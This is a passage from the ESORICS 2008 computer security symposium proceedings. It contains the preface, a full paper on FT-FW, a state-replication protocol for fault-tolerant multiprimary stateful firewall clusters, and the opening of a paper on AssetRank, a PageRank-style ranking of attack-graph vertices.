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Preface 

These proceedings contain the papers selected for presentation at the 13th European 
Symposium on Research in Computer Security––ESORICS 2008––held October 6–8, 
2008 in Torremolinos (Malaga), Spain, and hosted by the University of Malaga, Com-
puter Science Department.  

ESORICS has become the European research event in computer security.  The 
symposium started in 1990 and has been organized on alternate years in different 
European countries. From 2002 it has taken place yearly. It attracts an international 
audience from both the academic and industrial communities. 

In response to the call for papers, 168 papers were submitted to the symposium. 
These papers were evaluated on the basis of their significance, novelty, and technical 
quality. Each paper was reviewed by at least three members of the Program Commit-
tee. The Program Committee meeting was held electronically, holding intensive dis-
cussion over a period of two weeks. Finally, 37 papers were selected for presentation 
at the symposium, giving an acceptance rate of 22%. 

There is a long list of people who volunteered their time and energy to put together 
the symposium and who deserve acknowledgment. Our thanks to the General Chair, 
Jose M. Troya, for his valuable support in the organization of the event. Also, to Pablo 
Najera for preparation and maintenance of the symposium website, and Cristina Al-
caraz and Rodrigo Roman for the local organization support. Special thanks to the 
members of the Program Committee and external reviewers for all their hard work 
during the review and the selection process. Last, but certainly not least, our thanks go 
to all the authors who submitted papers and all the attendees. 

We hope that you will find the program stimulating and a source of inspiration for 
future research. 
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Multiprimary Support for the Availability of

Cluster-Based Stateful Firewalls Using FT-FW

P. Neira1, R.M. Gasca1, and L. Lefèvre2

1 QUIVIR Research Group - University of Sevilla, Spain
pneira, gasca@lsi.us.es

2 INRIA RESO - University of Lyon
laurent.lefevre@inria.fr

Abstract. Many research has been done with regards to firewalls during
the last decade. Specifically, the main research efforts have focused on
improving the computational complexity of packet classification and en-
suring the rule-set consistency. Nevertheless, other aspects such as fault-
tolerance of stateful firewalls still remain open. Continued availability of
firewalls has become a critical factor for companies and public adminis-
tration. Classic fault-tolerant solutions based on redundancy and health
checking mechanisms does not success to fulfil the requirements of state-
ful firewalls. In this work we detail FT-FW, a scalable software-based
transparent flow failover mechanism for stateful firewalls, from the mul-
tiprimary perspective. Our solution is a reactive fault-tolerance approach
at application level that has a negligible impact in terms of network la-
tency. On top of this, quick recovery from failures and fast responses
to clients are guaranteed. The solution is suitable for low cost off-the-
shelf systems, it supports multiprimary workload sharing scenarios and
no extra hardware is required 1.

1 Introduction

Firewalls have become crucial network elements to improve network security.
Firewalls separate several network segments and enforce filtering policies which
determine what packets are allowed to enter and leave the network. Filtering
policies are defined by means of rule-sets, containing each rule a set of selectors
that match packet fields and the action to be issued, such as accept or deny.
There are many problems that firewalls have to face in modern networks:

1. Rule set design. Firewall rule languages tend to be very low level. Thus,
writing a rule set is a very difficult task [1] and usually requires an in-
depth knowledge of a particular firewalls’ internal working. Furthermore,
each vendor has its own firewall language. The research community is trying
to construct a standard language to express rule-sets that compile as many
specific low level languages as possible [2].

1 This work has been partially supported by the Spanish Ministerio de Educación y
Ciencia through a coordinated research project(grant DPI2006-15476-C02-00) and
Feder (ERDF).

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 1–17, 2008.
c© Springer-Verlag Berlin Heidelberg 2008
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2. Rule set consistency. When rules are expressed using wildcards (i.e. filter-
ing entire subnets instead of single IPs) then the rules may not be disjoint.
In such a situation rule ordering is important and it can introduce a con-
sistency problem. Moreover, if on the route from the sender to the destina-
tion, multiple firewalls are crossed, a consistency problem can be introduced
between the rule-sets of firewalls. Building a consistent inter-firewall and
intra-firewall rule-set is a difficult task, and even more challenging if it must
support frequent dynamic updates [3]. Also, several works have focused on
solving consistency and conformity problems in rule-sets and also in distrib-
uted environments [4] [5] [6].

3. Computational complexity. As each packet must be checked against a
list of ordered rules (or unordered if rule-sets are designed in positive logic),
the time required for filtering grows in different orders depending on the al-
gorithm and data structure used [7]. Conversely, performant algorithms, may
require great memory occupation or dedicated hardware, which is another
important parameter to take into account.

4. Fault tolerance. Firewalls inherently introduce a single point of failure in
the network schema. Thus, a failure in the firewall results in temporary isola-
tion of the protected network segments during reparation. Failures can arise
due to hardware-related problems, such as problems in the power supply,
bus, memory errors, etc. and software-related problems such as bugs. This
can be overcome with redundancy and health check monitor techniques. The
idea consists of having several firewall replicas: one that filters flows (primary
replica), and others that (backup replicas) are ready to recover the services
as soon as failure arises (See Fig. 1).

However, system-level redundancy is insufficient for Stateful Firewalls. State-
ful firewalls extend the firewall capabilities to allow system administrators define
state-based flow filtering. The stateful capabilities are enabled by means of the
connection tracking system (CTS) [8]. The CTS performs a correctness check
upon the protocols that it gateways. This is implemented through a finite state
automaton for each supported protocol that determines what protocol transi-
tions are valid. The CTS stores several aspects of the evolution of a flow in a set
of variables that compose a state. This information can be used to deny packets
that trigger invalid state transitions. Thus, the system administrator can use the
states to define more intelligent and finer filter policies that provide higher level
of security.

Let’s assume the following example to clarify the fault-tolerance problem in
stateful firewall environments: the primary firewall replica fails while there is
an established TCP connection. Then, one of the backup replicas is selected
to become primary and recover the filtering. However, since the new primary
replica has not seen any packets for that existing connection, the CTS of the
new primary firewall replica considers that TCP PSH packets of non-existing
connections triggers an invalid state transition. With the appropriate stateful
rule-set, this TCP connection will not be recovered since this packet triggers
an invalid state transition (the first packet seen does not belong to any known
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established connection by the new primary firewall replica cannot be a TCP
PSH packet). Thus, the packets are denied and the connection has to be re-
established2. Therefore, the redundant solution requires a replication protocol
to guarantee that the flow states are known by all replica firewalls.

In this work, we specifically focus on solving the fault-tolerance problem. We
extend the FT-FW (Fault Tolerant FireWall) [10], a reactive fault-tolerant solu-
tion for stateful firewalls, from the multiprimary setup perspective in which sev-
eral replica firewalls can share workload. This solution guarantees transparency,
simplicity, protocol independency, failure-detection independency and low cost.
We extend our existing work to fulfil the scalability requirements of a multipri-
mary setting.

The main idea of our proposal is an event-driven model to reliably propagate
states among replica firewalls in order to enable fault-tolerant stateful firewalls.
The key concepts of FT-FW are the state proxy and the reliable replication
protocol. The state proxy is a process that runs on every replica firewall and
waits for events of state changes. This process propagates state changes between
replicas and keeps a cache with current connection states. State propagation is
done by means of the proposed reliable multicast IP protocol that resolves the
replication.

The paper is organized as follows: in Section 3 we formalize the system model.
In Section 4 we detail the architecture of FT-FW. The state proxy design is
detailed in Section 4.1. The proposed replication protocol is described in Sec-
tion 4.2. We focus on the specific multiprimary support in Section 5. Then we
evaluate our solution proposed in Section 6 and detail the related work in Sec-
tion 2. We conclude with the conclusions and future works in Section 7.

2 Related Work

Many generic architectures have been proposed to achieve fault-tolerance of net-
work equipments with a specific focus on web servers and TCP connections [11]
[12] [13] [14]. In these works, the authors cover scenarios where the complete
state history has to be sent to the backup replicas to successfully recover the
connections. Most of them are limited to 10/100 Mbit networks. These solutions
can also be used to implement fault-tolerant stateful firewalls; however, they do
not exploit the firewall semantics detailed in the system model (specifically def-
inition 11). A state replication based on extra hardware has been also proposed
[15]. Specifically, the authors use Remote Direct Memory Access (RDMA) mech-
anisms [15] to transfer states. This solution implies an extra cost and the use of
a technology that may result intrusive and out of the scope of high performance
computing clusters.

To the best of our knowledge, the only similar research in the domain of fire-
walls that we have found is [16]. This work is targeted to provide a fault-tolerant
architecture for stateless firewalls with hash-based load-balancing support. We
2 In our current work, we provide a detailed scenario in the website of the FT-FW

implementation [9].
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have used this idea in Sec. 5 to enable workload sharing without the need of a
load balancing director.

With regard to replication protocols suitable for CBSF, we have found TIPC
[17] is a generic protocol designed for use in clustered computer environments,
allowing designers to create applications that can communicate quickly and reli-
ably with other applications regardless of their location within the cluster. TIPC
is highly configurable and covers different cluster-based setups. This protocol is
suitable for the scenario described in this work. The generic nature of TIPC
makes it hard for it to fulfil the policies 1, 2 and 3.

In [18], the authors of this work propose preliminary design ideas and a set
of problematic scenarios to define an architecture to ensure the availability of
stateful firewalls. The authors of this work detail the FT-FW architecture from
the Primary-Backup perspective in [10].

In the industry field, there are several proprietary commercial solutions such
as CheckPoint Firewall-1, StoneGate and Cisco PIX that offer a highly avail-
able stateful firewall for their products. However, as far as we know, there is
only documentation on how to install and configure the stateful failover. In the
OpenSource world, the OpenBSD project provides a fault-tolerant solution for
their stateful firewall [19]. The solution is embedded into the firewall code and
the replication protocol is based on unreliable Multicast IP and it also has sup-
port for multiprimary setups. The project lacks of internal design documentation
apart from the source code. Other existing projects such as Linux-HA [20] only
focus on system-level fault-tolerance so it does not cover the problem discussed
in our work.

3 Definitions and Notation

The formalization of the stateful firewall model is out of the scope of this work
as other works have already proposed a model [21]. Nevertheless, we formalize
the definitions extracted from the fault-tolerant stateful firewall semantics that
are useful for the aim of this work:

Definition 1. Fault-tolerant stateful firewall cluster: it is a set of stateful
replica firewalls fw = {fw1, ..., fwn} where n ≥ 2 (See Fig. 1). The number of
replica firewalls n that compose the cluster depends on the availability require-
ments of the protected network segments and their services, the cost of adding
a replica firewall, and the workload that the firewall cluster has to support.
We also assume that failures are independent between them so that adding new
replica firewalls improve availability. The set of replica firewalls fw are connected
through a dedicated link and they are deployed in the local area network. We
may use more than one dedicated link for redundancy purposes. Thus, if one
dedicated link fails, we can failover to another.
Definition 2. Cluster rule-set: Every replica firewall has the same rule-set.
Definition 3. Flow filtering: A stateful firewall fwx filters a set of flows
Fx = {F1, F2, ..., Fn}.
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Fig. 1. Stateful firewall cluster of order 2 and order 3 respectively

Definition 4. Multiprimary cluster: We assume that one or more firewall
replicas deploy the filtering at the same time, the so-called primary replicas,
while others act as backup replicas.

Definition 5. Failure detection: We assume a failure detection manager, eg.
an implementation of VRRP [22], that detects failures by means of heartbeat
tokens. Basically, the replicas send a heartbeat token to each other every t sec-
onds, if one of the replicas stops sending the heartbeat token, it is supposed
to be in failure. This failure detection mechanism is complemented with several
multilayer checkings such as link status detection and checksumming. This man-
ager is also responsible of selecting which replica runs as primary and which one
acts as backup. Also, we assume that the manager runs on every firewall replica
belonging the cluster.

Definition 6: Flow durability (FD): The FD is the probability that a flow
has to survive failures. If FD is 1 the replica firewall can recover all the existing
flows. In this work, we introduce a trade-off between the FD and the performance
requirements of cluster-based stateful firewalls.

Definition 7. Flow state: Every flow Fi in F is in a state Sk in an instant of
time t.

Definition 8. State determinism: The flow states are a finite set of deter-
ministic states s = {S1, S2, ..., Sn}.

Definition 9. Maximum state lifetime: Every state Sk has a maximum
lifetime Tk. If the state Sk reaches the maximum lifetime Tk, we consider that
the flow Fj is not behaving as expected, eg. one of the peers has shutdown due
to a power failure without closing the flow appropriately.

Definition 10. State variables: Every state Sk is composed of a finite sets of
variables Sk = {v1, v2, ..., vj}. The change of the value of a certain variable va

may trigger a state change Sk → Sk+1.
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Definition 11. State history: The backup replica does not have to store the
complete state history S1 → S2 → ... → Sk to reach the consistent state Sk.
Thus, the backup only has to know the last state Sk to recover the flow Fi.

Definition 12. State classification: The set of states s can be classified in
two subsets: transitional and stable states. These subsets are useful to notice if
the effort required to replicate one state change is worthwhile or not:

– Transitional states (TS) are those that are likely to be superseded by another
state change in short time. Thus, TS have a very short lifetime.

– Stable States (SS) are long standing states (the opposite of TS).

We have formalized this state classification as the function of the probability
(P ) of the event of a state change (X). Let t be the current state age. Let Tk

be the maximum lifetime of a certain state. For the flow Fj the current state
Sk, we define the probability Px that a TS can be superseded by another state
change can be expressed as:

Px(t, Sk) =
{

1− δ(t, Sk) if (0 ≤ t < Tk)
0 if (t ≥ Tk)

And the probability Py that a SS can be superseded by a state change can be
expressed as:

Py(t, Sk) = 1− Px(t, Sk)

This formalization is a representation of the probability that a state can be
replaced by another state as time goes by. Both definitions depend on the δ(t, Sk)
function that determines how the probability of a state change Sk increases, e.g.
linearly, exponential, etc. The states can behave as SS or TS depending on
their nature, eg. initial TCP handshake and closure packets (SYN, SYN-ACK
and FIN, FIN-ACK, ACK respectively) trigger TS and TCP ACK after SYN-
ACK triggers TCP Established which usually behaves as SS. Network latency is
another important factor because if latency is high, all the states tend to behave
as SS. In practise, we can define a simple δ(t, Sk) that depends on the acceptable
network latency l:

δx(t, Sk) =
{

1 if t > (2 ∗ l)
0 if t ≤ (2 ∗ l)

The acceptable network latency l depends on the communication technology,
eg. on a wired line the acceptable latency is 100 ms and in satellite links 250 ms.

For the aim of this work, we focus on ensuring the durability of SS as they have
a more significant impact on the probability that a flow can survive failures. This
means that our main concern is to ensure that long standing flows can survive
failures because the interruption of these flows lead to several problems such as:

1. Extra monetary cost for an organization, eg. if the VoIP communications are
disrupted, the users would have to be re-called with the resulting extra cost.
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2. Multimedia streaming applications breakage, eg. Internet video and radio
broadcasting disruptions.

3. Remote control utility breakage, eg. SSH connections closure.
4. The interruption of a big data transfer between two peers, eg. peer to peer

bulk downloads.

Nevertheless, the high durability of TS is also desired; however, they are less
important than SS since their influence on the FD is smaller.

4 FT-FW Architecture

The FT-FW architecture is composed of two blocks: the state proxy and the
efficient and scalable replication protocol.

4.1 State Proxy

From the software perspective, each replica firewall is composed of two parts:

1. The connection tracking system (CTS): the system that tracks the state
evolution of the connections. This software block is part of a stateful firewall,
and the packet filter uses this state information to filter traffic [8].

2. The state proxy (SP): the application that reliably propagates state changes
among replica firewalls [23].

In order to communicate both parts, we propose an event-driven architecture
(EDA) which provides a natural way to propagate changes: every state change
triggers an event that contains a tuple composed of {AddressSRC , AddressDST ,
PortSRC , PortDST , P rotocol}, that uniquely identifies a flow, together with the
set of variables that compose a state Sk = {v1, v2, ..., vn}. Thus, the CTS sends
events in response to state changes. These events are handled by the SP which
decides what to do with them. We have classified events into three types [18]:
new, which details a flow that just started; update, which tells about an update
in an opened flow and destroy, which notifies the closure of an existing flow.

The EDA facilities modularization and reduces dependencies since the CTS
and the SP are loosely coupled. Moreover, its asynchronous nature suits well for
the performance requirements of stateful firewalls.

We have modified the CTS to implement a framework to subscribe to state
change events, dump states and inject them so that the SP can interact with the
CTS. The number of changes required to introduce this framework in the CTS
is minimal. This framework makes the FT-FW architecture independent of the
CTS implementation since we clearly delimit the CTS and the SP functionalities.
Also, the FT-FW solution allows the system architect to add support for fault
tolerance in a plug-and-play fashion, ie. the system architect only has to launch
the SP in runtime and add new replica firewalls to enable FT-FW. The CTS
framework offers three methods to the SP:
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1. Dumping: it obtains the complete CTS state table, including generic and spe-
cific states. This method is used to perform a full resynchronization between
the SP and the CTS.

2. Injection: it inserts a set of states, this method is invoked during the con-
nection failover.

3. Subscription: it subscribes the SP to state-change notifications through events.

The SP listens to events of state change, maintains a cache with current
states, and sends state-change notifications to other replicas. We assume that
every replica firewall that is part of the cluster runs a SP. Every SP has two
caches:

– The internal cache which holds local states, ie. those states that belong to
flows that this replica is filtering. These states can be a subset of states
subset(s) of the set of states s held in the CTS. This is particularly useful
if the system architect does not want to guarantee the FD of certain flows
whose nature is unreliable, eg. the UDP name resolution flows (UDP DNS)
that are usually reissued in short if there is no reply from the DNS server.
Thus, we assume that the CTS provides an event filtering facility to ignore
certain flows whose state the SP does not store in the internal cache.

– The external cache which hold foreign states, ie. those states that belong to
connections that are not being filtered by this replica. If the firewall cluster is
composed of n replicas, the number of external caches is n− 1 at maximum.
Thus, there is an external cache for every firewall replica in the cluster so
that, when a failure arises in one of the firewall replicas fwy, one of the
backups fwx is selected to inject the flow states stored in its external cache
fwy.

We represent the FT-FW architecture for three replica firewalls and the in-
teraction between the blocks in Fig. 2. Note that, in this particular case, the
number of external caches is two so that every replica firewall can recover the
filtering of the other two replicas at any moment.

At startup, the SP invokes the dumping method to fully resynchronize its
internal cache with the CTS, and subscribes to state change events to keep
the internal cache up-to-date. The flows are mapped into a state objects which
are stored in the internal cache. We also assume that the events that the CTS
generates are mapped into temporary state objects that are used to update the
internal cache.

Definition 13. State object: We assume that every flow Fj is mapped into
an state object (SO). This SO has an attribute lastseq seen to store the last
sequence number m of the message sent that contained the state change Sk−1 →
Sk. This sequence number is updated when send msg() is invoked. The purpose
of this sequence number attribute is to perform an efficient state replication
under message omission and congestion situations as we detail in the replication
protocol section.

The operation of the SP consists of the following: A packet p that is part of an
existing flow Fj may trigger a state change Sk−1 → Sk when the primary replica
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Fig. 2. FT-FW Architecture of order 3

firewall succesfully finds a match in the rule-set for p. If such state change occurs, it
is notified through an event delivered to the SP. The SP updates its internal cache
and propagates the state change to other replicas via the dedicated link (See Algo-
rithm. 1 for the implementation of the internal cache routine). Thus, the backup
firewall SPs handle the state change received and insert it in their external cache
(See Algorithm. 2 for the implementation of the external cache routine).

internal ← create cache();1

dump states from CTS(internal);2

subscribe to CTS events();3

for ever do4

object ← read event from CTS();5

switch event type(object) do6

case new7

cache add(internal, object);8

end9

case update10

cache update(internal, object);11

end12

case destroy13

cache del(internal, object);14

end15

end16

send msg(object);17

end18

Algorithm 1. Internal cache routine

The function send msg() converts the object which represents the state change
event into network message format and sends it to the other replicas. The function
recv msg() receives and converts the network message format into a state object.
The implementation of these functions is discussed in the replication protocol.
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external ← create cache();1

request resync(external);2

for ever do3

object ← read msg();4

switch event type(object) do5

case new6

cache add(external, object);7

end8

case update9

cache update(external, object);10

end11

case destroy12

cache del(external, object);13

end14

end15

end16

Algorithm 2. External cache routine

4.2 Replication Protocol

In this work, we propose an asynchronous replication protocol to replicate state
changes between replica firewall. This protocol trades off with the FD (definition
6) and performance. The FT-FW protocol also handles link congestions and mes-
sage omission situations efficiently by exploiting the stateful firewall semantics,
specifically definition 11.

Definition 14. Message omission handling: Given two messages with se-
quence number m and m + k that contains state changes Sk−2 → Sk−1 and
Sk−1 → Sk respectively. If both messages are omitted, only the state change
Sk−1 → Sk is retransmitted since, due to definition 11, the old state changes,
such as Sk−2 → Sk+1 does not improve the FD.

Replication has been studied in many areas, especially in distributed systems for
fault-tolerance purposes and in databases [24] [25]. These replication protocols
(RP) may vary from synchronous to asynchronous behaviours:

1. Synchronous (also known as eager replication): These RPs are implemented
through transactions that guarantee a high degree of consistency (in the con-
text of this work, this means a FD close to 1). However, they would roughly
reduce performance in the cluster-based stateful firewall environment. With
a synchronous solution, the packets that trigger state changes must wait un-
til all backup replicas have successfully updated their state synchronously.
This approach would introduce an unaffordable latency in the traffic deliv-
ery. The adoption of this approach would particularly harm real-time traffic
and the bandwidth throughput.
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2. Asynchronous (also known as lazy replication): This approach speeds up the
processing in return of it reduces the level of consistency between the repli-
cas and increasing the complexity. From the database point of view, a high
degree of data consistency is desired so this approach usually makes asyn-
chronous solutions unsuitable. However, in the context of stateful firewalls,
the asynchronous replication ensures efficient communication which helps to
avoid quality of service degradation.

Therefore, we have selected an asynchronous solution which allows the packet
to leave the primary firewall before the state has been replicated to other backup
replicas. We propose an efficient and reliable replication protocol for cluster-
based stateful firewalls (CBSF) based on Multicast IP. Our protocol uses se-
quence tracking mechanisms to guarantee that states propagate reliably. Al-
though message omissions are unlikely in the local area, communication reliabil-
ity is a desired property of fault-tolerant systems.

In our protocol, we define three kinds of messages that can be exchanged
between replicas, two of them are control messages (Ack and Nack) and one
that contains state changes:

- Positive Acknowledgment (Ack) is used to explicitly confirm that a range of
messages were correctly received by the backup replica firewall.

- Negative Acknowledgment (Nack) explicitely requests the retransmission of
a range of messages that were not delivered.

- State Data contains the state change Sk−1 → Sk for a given flow Fj . This
message contains the subset of variables v = {v1, ..., vn} that has changed.

Our replication protocol is based on an incremental sequence number algo-
rithm and it is composed of two parts: the sender and the receiver. The sender
and the receiver are implemented through send msg() and recv msg() respec-
tively (See Algorithm.3 and Algorithm. 4). Basically, the sender transmits state
changes and control messages and the receiver waits for control messages, which
request explicit retransmission and confirm correct reception.

We formalize the behaviour of the replication protocol with the following
policies:

Policy 1. Sender Policy: The sender does not wait for acknowledgments to
send new data. Thus, its behaviour is asynchronous since it never stops sending
state changes.
Policy 2: Receiver policy: The receiver always delivers the messages received
even if they are out of sequence. This policy is extracted from the definition 11.
Policy 3: Receiver acknowledgment policy: The receiver schedules an ac-
knowledgment when we receive WINDOW SIZE messages correctly, and neg-
ative acknowledges the range of those messages that were not delivered appro-
priately. The best value of WINDOW SIZE is left for future works due to
space restrictions.
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switch typeof(parameters) do1

case Ack2

msg ← build ack msg(from, to);3

end4

case Nack5

msg ← build nack msg(from, to);6

end7

case Data8

object.lastseq seen = seq;9

if is enqueued(retransmission queue, object) then10

queue del(retransmission queue, object);11

queue add(retransmission queue, object);12

else13

queue add(retransmission queue, object);14

end15

msg ← build data msg(seq, object);16

end17

send(msg);18

seq ← seq + 1;19

end20

Algorithm 3. Implementation of send msg()

5 Multiprimary Support

The FT-FW architecture supports several workloads sharing multi-primary se-
tups in which several replica firewalls act as primary. Thus, more than one replica
firewall can filter traffic at the same time. This is particularly important to en-
sure that the solution proposed scales up well. Specifically, our solution covers
two approaches: the symmetric and the asymmetric path workload sharing.

Symmetric Path. in this approach, the same replica firewall always filters
the original and reply packets. Therefore, we apply per-flow workload sharing.
Thus, the replica firewalls can act as primary for a subset F1 of flows and as
backup another subset of flows F2 at the same, being F1 U F2 the complete set
of flows that both firewalls are filtering.

For the symmetric path approach. We consider two possible setups depending
on the load balancing policy, they are:

- Static. The system administrator or the DHCP server configures the clients
to use different firewalls as gateway, ie. the client A is configured to use the
gateway G1 and the client B uses the gateway G2. And so, if the gateway
G2 fails, the gateway G1 takes over B’s connections. Thus, the same firewall
filters traffic for the same set of clients (statically grouped) until failure.
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msg ← recv();1

n ← msg.sender node;2

if after(msg.seq, lastseq seen[n] + 1) then3

confirmed ← WINDOW SIZE - window[n];4

send msg(Ack, n, lastseq seen[n] - confirmed, lastseq seen[n]);5

send msg(Nack, n, lastseq seen[n] + 1, msg.seq);6

window[n] ← WINDOW SIZE;7

else8

window[n] ← window[n] - 1;9

end10

if window[n] = 0 then11

window[n] ← WINDOW SIZE;12

from ← msg.seq - WINDOW SIZE;13

send msg(Ack, n, from, msg.seq);14

end15

if msg type(msg) = Ack then16

foreach object i in the retransmission queue[n] do17

if between(msg.from, seq(i), msg.to) then18

queue del(object);19

end20

end21

end22

if msg type(msg) = Nack then23

foreach object i in the retransmission queue[n] do24

if between(msg.from, seq(i), msg.to) then25

send msg(object);26

end27

end28

end29

lastseq seen[n] ← msg.seq;30

deliver(msg)31

Algorithm 4. Implementation of recv msg()

- Dynamic. Flows are distributed between replica firewalls by means of hash-
based load balancing similar to what is described in [16]. The tuple t =
{AddressSRC , AddressDST , PortSRC , PortDST } which identifies a flow Fj

is used to determine which replica filters each flow. Basically, the tuple t is
hashed and the modulo of the result by the number of replicas tells which
replica has to filter the flow, eg. given two replicas fw0 and fw1, if h(t) mod
2 returns 0 then the replica firewall fw0 filters the flow. For this solution we
assume that all replica firewalls use a multicast MAC address and the same
IP configuration so that they all receive the same packets. This approach
does not require any load balancing director.

The external cache policy in symmetric path is write back (WB), ie. the states
are only injected to the CTS in case of failure.
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Asymmetric Path. in this setup, any replica firewall may filter a packet that
belongs to a flow. Therefore, we apply per-packet workload sharing. In this case,
we assum that the original and reply packets may be filtered by different replica
firewalls. Again, we consider two possible setups depending on the workload
sharing policy, they are:

- Static. The system administrator has configured firewall fwn as default route
for original packets and fwn+1 as default route for reply packets.

- Dynamic. The routes for the original and reply packets may dynamically
change based on shortest path first routing policies, as it happens in OSPF
[26] setups. In this case, the firewall dynamically configures the routing table
depending on several parameters such as the link latency.

The external cache policy behaviour is write through (WT) since SP injects
the states to the CTS as they arrive. Of course, asymmetric path setups incur
an extra penalty in terms of CPU consumption that has to be evaluated.

5.1 Flow Recovery

As said, the architecture described in this work is not dependent of the failure-
detection schema. So, we assume a failure-detection software, e.g. an implemen-
tation of VRRP.

If the primary firewall fails, the failure-detection software selects the candidate-
to-become-primary replica firewall among all the backup replicas that will take-
over the flows. At the failover stage, the recovery process depends on the load bal-
ancing setup:

– Symmetric path load balancing: the selected replica firewall invokes the in-
jection method that puts the set of states stored in the external cache into
the CTS. Later on, the SP clears its internal cache and issues a dump to
obtain the new states available in the CTS.

– Asymmetric path load balancing: since the external cache policy is WT, the
states are already in the CTS.

If a backup replica firewall fails and, later on, comes back to life again (typical
scenario of short-time power-cut and reboot or a maintenance stop), the backup
replica that just restarted sends a full resynchronization request. If there is more
than one backup, to reduce the workload of the primary replica, that backup
may request the full state table to another backup replica. Moreover, if this
backup was a former primary replica that has come back to life, we prevent any
process of take-over attempt by such replica until it is fully resynchronized.

6 Evaluation

To evaluate FT-FW, we have used our implementation of the state proxy dae-
mon for stateful firewalls [27]. This software is a userspace program written in C
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Fig. 3. CPU consumption and Round-trip time (from left to right)

that runs on Linux. We did not use any optimization in the compilation. In our
previous work [10], we have already evaluated the recovery time of the connec-
tions in the Primary-Backup scenario, these results are similar to those obtained
in the multiprimary setup, for that reason, and due to space restrictions we do
not provide them in this section.

The testbed environment is composed of AMD Opteron dual core 2.2GHz
hosts connected to a 1 GEthernet network. The schema is composed of four hosts:
host A and B that act as workstations and FW1 and FW2 that are the firewalls.
We have adopted a Multiprimary configuration with workload sharing of order
two for simplicity. Thus, both FW1 and FW2 acts as primary for each other at
the same time. In order to evaluate the solution, we reproduce a hostile scenario
in which one of the hosts generates lots of short connections, thus generating
loads of state change messages. Specifically, the host A requests HTML files of
4 KBytes to host B that runs a web server. We created up to 2500 GET HTTP
requests per second (maximum connection rate reached with the testbed used).
For the test case, we have used the Apache webserver and a simple HTTP client
for intensive traffic generation.

6.1 CPU Overhead

We have measured CPU consumption in FW1 and FW2 with and without full
state replication. The tool cyclesoak [28] has been used to obtain accurate CPU
consumption measurements. The HTTP connections have 6 states, thus the
amount of state changes is 6 * total number of requests. The results obtained
in the experimentation have been expressed in a graphic. In both firewalls, the
maximum CPU load is 24% and 36% for WB and WT external cache policy
respectively. This means 9% and 17% more than without replication. Not sur-
prisingly, the full replication of short connection is costly due to the amount
of states propagated. Anyhow, the CPU consumption observed is affordable for
CBSFs deployed on off-the-shelf equipments since they come with several low
cost processors (SMP and hyperthreading). Thus, we can conclude that FT-FW
guarantees the connection recovery at the cost of requiring extra CPU power.
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6.2 Round Trip

In order to obtain the delay that FT-FW introduces in client responses, we have
measured the round-trip time of an ICMP echo request/reply (ping pong time)
from host A to B with and without replication enabled. The results has been
expressed in Fig. 3. As we can observe, the increment in the round trip time is
around 8 microseconds so that we can say that the delay introduced in clients’
responses is negligible.

7 Conclusion and Future Work

In this work we have revisited the FT-FW (Fault Tolerant FireWall) solution
from the multiprimary perspective. The solution introduced negligible extra net-
work latency in the packet handling at the cost of relaxing the replication. The
architecture follows an event-driven model that guarantees simplicity, trans-
parency, fast client responses and quick recovery. No extra hardware is required.
The solution proposed is not dependent of the failure detection schema nor the
layer 3 and 4 protocols that the firewalls filter. The FT-FW replication protocol
exploits the cluster-based stateful firewall semantics to implement an efficient
replication protocol. Moreover, we have proved in the evaluation that the solu-
tion requires affordable CPU resources to enable state replication.

As future work, we are dealing with several improvements to reduce CPU
consumption without harming FD in environments with limited resources such as
mobile and embedded systems. Specifically, we plan to use our state-classification
model to avoid the replication of TS since they barely improve FD but they
increase resource consumption due to the state replication.
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Abstract. Attack graphs have been proposed as useful tools for analyz-
ing security vulnerabilities in network systems. Even when they are pro-
duced efficiently, the size and complexity of attack graphs often prevent
a human from fully comprehending the information conveyed. A distil-
lation of this overwhelming amount of information is crucial to aid net-
work administrators in efficiently allocating scarce human and financial
resources. This paper introduces AssetRank, a generalization of Google’s
PageRank algorithm which ranks web pages in web graphs. AssetRank
addresses the unique semantics of dependency attack graphs and incor-
porates vulnerability data from public databases to compute metrics for
the graph vertices (representing attacker privileges and vulnerabilities)
which reveal their importance in attacks against the system. The results
of applying the algorithm on a number of network scenarios show that
the numeric ranks computed are consistent with the intuitive importance
that the privileges and vulnerabilities have to an attacker. The vertex
ranks can be used to prioritize countermeasures, help a human reader
to better comprehend security problems, and provide input to further
security analysis tools.
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1 Introduction

An attack graph is a mathematical abstraction of the details of possible attacks
against a specific network. Various forms of attack graphs have been proposed for
analyzing the security of enterprise networks [1,2,3,4,5,6]. Recent advances have
enabled computing attack graphs for networks with thousands of machines [2,4].
Even when attack graphs can be efficiently computed, the resulting size and
complexity of the graphs is still too large for a human to fully comprehend [7,8,9].
While a user will quickly understand that attackers can penetrate the network
it is essentially impossible to know which privileges and vulnerabilities are the
most important to the attackers’ success. Network administrators require a tool
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Fig. 1. An example network

which can distill the overwhelming amount of information into a list of priorities
that will help them to secure the network, making efficient use of scarce human
and financial resources.

The problem of information overload can occur even for small-sized networks.
The example network shown in Figure 1 is from recent work by Ingols et al. [2].
Machine A is an attacker’s launch pad (for example, the Internet). Machines B,
C, and D are located in the left subnet and machines E and F are in the right
subnet. The firewall FW controls the network traffic such that the only allowed
network access between the subnets is from C and D to E. All of the machines
have a remotely exploitable vulnerability.

We applied the MulVAL attack graph tool suite [4] to the example network. The
resulting attack graph can be found in Appendix A. Even for a small network, the
attack graph is barely readable. Assuming the attack graph can be read, it is still
difficult for a human to capture the core security problems in the simple network.
Essentially, the software vulnerabilities on hosts C and D will enable an attacker
from A to gain local privileges on the victim machines, and use them as stepping
stones to penetrate the firewall, which only allows through traffic from C and D. In
this example, all the machines can potentially be compromised by the attacker,
and all the vulnerabilities on the hosts can play a role in those potential attack
paths. However, the vulnerabilities on C and D, and the potential compromise
of those two machines, are crucial for the attacker to successfully penetrate into
the right subnet, presumably a more sensitive zone. The attack graph produced
by MulVAL does reflect this dependency, but a careful reading of the graph is
necessary to understand which graph vertices are the most important to consider.
When the network size grows and attack paths become more complicated, it is
insurmountably difficult for a human to digest all the dependency relations in the
attack graph and identify key problems.

Beside the dependency relations represented in an attack graph, another im-
portant factor in determining the criticality of an identified security problem is
the likelihood the attack path can lead to a successful exploit. For example, both
hosts C and D can be exploited remotely by the attacker on host A. Assume
that the vulnerability on host C is only theoretical and no one has successfully
produced a proof-of-concept exploit, whereas the vulnerability on host D has a
publicly available exploit that works most of the time. Obviously the vulnera-
bility on D is more likely to be exploited than the vulnerability on C and so its
elimination deserves prioritization.
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In the past five years, significant resources have gone into standardizing
the definition of the attributes of reported security vulnerabilities. Most notably,
the Common Vulnerability Scoring System (CVSS)1 is a standard for sharing the
